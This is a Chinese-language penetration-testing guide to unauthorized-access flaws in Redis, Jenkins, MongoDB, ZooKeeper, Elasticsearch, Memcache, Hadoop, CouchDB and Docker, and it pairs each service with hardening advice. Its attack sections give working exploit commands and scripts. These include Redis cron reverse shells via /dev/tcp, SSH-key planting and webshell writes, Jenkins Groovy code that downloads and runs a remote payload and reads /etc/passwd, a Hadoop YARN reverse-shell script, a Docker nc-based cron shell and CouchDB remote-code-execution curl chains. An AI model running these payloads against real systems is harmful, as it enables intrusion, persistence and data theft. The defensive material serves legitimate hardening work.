未授权访问的tips
字数 2288 2025-08-29 08:32:18
未授权访问漏洞全面分析与防护指南
0x00 前言
本文汇总了多种常见服务的未授权访问漏洞,包括Redis、Jenkins、MongoDB、ZooKeeper、Elasticsearch、Memcache、Hadoop、CouchDB和Docker等,详细介绍了每种漏洞的扫描探测方法、攻击利用技术以及防护措施。
0x01 Redis未授权访问
1. 扫描探测
配置Redis测试环境
vim /etc/redis.conf
cp redis.conf ./src/redis.conf
# 注释掉bind 127.0.0.1或改为0.0.0.0
# 设置protected-mode为no
src/redis-server redis.conf
常用Redis命令
info- 查看信息flushall- 删除所有数据库内容flushdb- 刷新数据库KEYS *- 查看所有键set test "who am i"- 设置变量config set dir dirpath- 设置路径config get dir/dbfilename- 获取路径及数据配置save- 保存
工具利用
- Metasploit模块:
- auxiliary/scanner/redis/file_upload
- auxiliary/scanner/redis/redis_login
- auxiliary/scanner/redis/redis_server
- Nmap扫描脚本:匿名扫描脚本
2. 攻击方法
1) 利用计划任务反弹shell
# 攻击者监听
nc -lvnp 7999
# Redis执行
set x "\n*bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2) 写SSH公钥登录
# 本地生成密钥
ssh-keygen -t rsa
# Redis执行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h x.x.x.x -x set crackit
redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config set dbfilename "authorized_keys"
> save
# 使用私钥登录
ssh -i id_rsa root@x.x.x.x
3) 写webshell
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
4) 写二进制文件
使用Lua脚本关闭压缩并写入二进制文件,然后通过计划任务调用Python清洗数据。
5) 自动化工具
3. 防护措施
-
禁用高危命令:
rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" -
低权限运行:
groupadd -r redis && useradd -r -g redis redis -
添加密码验证:
requirepass mypassword -
禁止外网访问:
bind 127.0.0.1 -
保护SSH密钥:
chmod 400 ~/.ssh/authorized_keys chattr +i ~/.ssh/authorized_keys chattr +i ~/.ssh -
修改默认端口:
redis-server --port 6380 -
防火墙规则:
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT iptables -I INPUT -p tcp --dport 6379 -j DROP service iptables save service iptables restart
0x02 Jenkins未授权访问
1. 扫描探测
- 弱口令扫描工具:Jenkins
- CVE-2017-1000353漏洞
2. 攻击利用
1) 反弹shell
println "wget http://192.168.3.131:8081/exp -P /tmp/".execute().text
println "chmod +x /tmp/exp".execute().text
println "/tmp/exp".execute().text
2) 写webshell
new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');
3) 读文件
try{
text = new File("/etc/passwd").getText();
out.print text
} catch(Exception e){}
4) 执行命令
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /etc/passwd'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
3. 防护措施
- 在管理页面添加强密码
- 不要将管理后台开放到互联网
- 使用ECS安全组策略设置访问控制
- 为不同用户分配适当的权限
0x03 MongoDB未授权访问
1. 扫描探测
Nmap扫描
nmap -p 27017 --script mongodb-info <ip>
配置修改
dbpath = /data/
logpath = /var/logs/mongodb.log
#port = 27017
#fork = true
bind_ip = 0.0.0.0
Python扫描脚本
import socket
import sys
import pymongo
def Scanner(ip):
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sk.settimeout(0.3)
try:
sk.connect((ip,27017))
ipcons.append(ip)
sk.close()
except Exception:
pass
2. 攻击利用
3. 防护措施
-
创建管理账户:
use admin db.createUser({ user: "adminUser", pwd: "adminPass", roles: [ { role: "userAdminAnyDatabase", db: "admin" } ] }) -
本地访问限制:
bind 127.0.0.1 -
修改默认端口
-
禁用HTTP/REST接口:
nohttpinterface = false -
开启日志审计
-
启用auth认证:
auth = true
0x04 ZooKeeper未授权访问
1. 扫描探测
./zkCli.sh -server 127.0.0.1 2181
nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24
2. 信息获取
echo stat |ncat 127.0.0.1 2181echo ruok |ncat 127.0.0.1 2181echo reqs |ncat 127.0.0.1 2181echo envi |ncat 127.0.0.1 2181echo dump |ncat 127.0.0.1 2181
3. 防护措施
- 禁止Zookeeper直接暴露在公网
- 添加访问控制(认证用户、用户名密码、指定IP)
0x05 Elasticsearch未授权访问
1. 漏洞检测
curl http://127.0.0.1:9200/_cat/indices
2. 防护措施
-
防火墙限制:
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT iptables -I INPUT -p tcp --dport 9200 -j DROP -
Nginx反向代理:
配置HTTP basic认证 -
插件认证:
- Shield(收费)
- elasticsearch-http-basic
- searchguard
-
配置文件认证:
http.basic.enabled true http.basic.user "admin" http.basic.password "admin_pw" http.basic.ipwhitelist ["localhost", "127.0.0.1"]
0x06 Memcache未授权访问
1. 扫描探测
Python检测脚本:
def Memcache_check(ip, port=11211, timeout=5):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("stats\r\n")
result = s.recv(1024)
if "STAT version" in result:
print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
except Exception, e:
pass
2. 攻击利用
常用命令:
stats- 查看状态stats items- 查看所有itemsstats cachedump 32 0- 获取缓存keyget :state:264861539228401373:261588- 读取缓存值
3. 防护措施
-
限制访问:
memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid -
防火墙规则:
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT iptables -I INPUT -p tcp --dport 11211 -j DROP -
最小权限运行:
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid -
SASL认证
-
修改默认端口
0x07 Hadoop未授权访问
1. 常见端口
| 模块 | 节点 | 默认端口 |
|---|---|---|
| HDFS | NameNode | 50070 |
| HDFS | SecondNameNode | 50090 |
| HDFS | DataNode | 50075 |
| MapReduce | JobTracker | 50030 |
2. 攻击方法
Python攻击脚本:
import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
3. 防护措施
- 网络访问控制
- 启用Kerberos认证
- 定期更新补丁
0x08 CouchDB未授权访问
1. 漏洞利用(CVE-2017-12635和CVE-2017-12636)
1.6.0版本利用:
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
2.1.0版本利用:
curl http://vulhub:vulhub@your-ip:5984/_membership
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map"language":"cmd"}' -H "Content-Type: application/json"
2. 防护措施
- 绑定IP到127.0.0.1
- 设置访问密码
- 修改默认配置
0x09 Docker未授权访问
1. 漏洞利用
Python攻击脚本:
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
自动化工具:
2. 防护措施
- 修改Docker Remote API默认参数
- 设置认证措施
- 使用低权限账号运行Docker
- 配置防火墙策略
0x10 总结建议
- 关注最新漏洞情况,及时修复
- 梳理内部开放服务,内网服务不开放公网
- 开放公网的服务必须做好访问控制
- 避免使用弱密码
- 定期进行安全审计和漏洞扫描
通过实施上述防护措施,可以有效降低未授权访问漏洞带来的安全风险,保护企业关键业务系统和数据安全。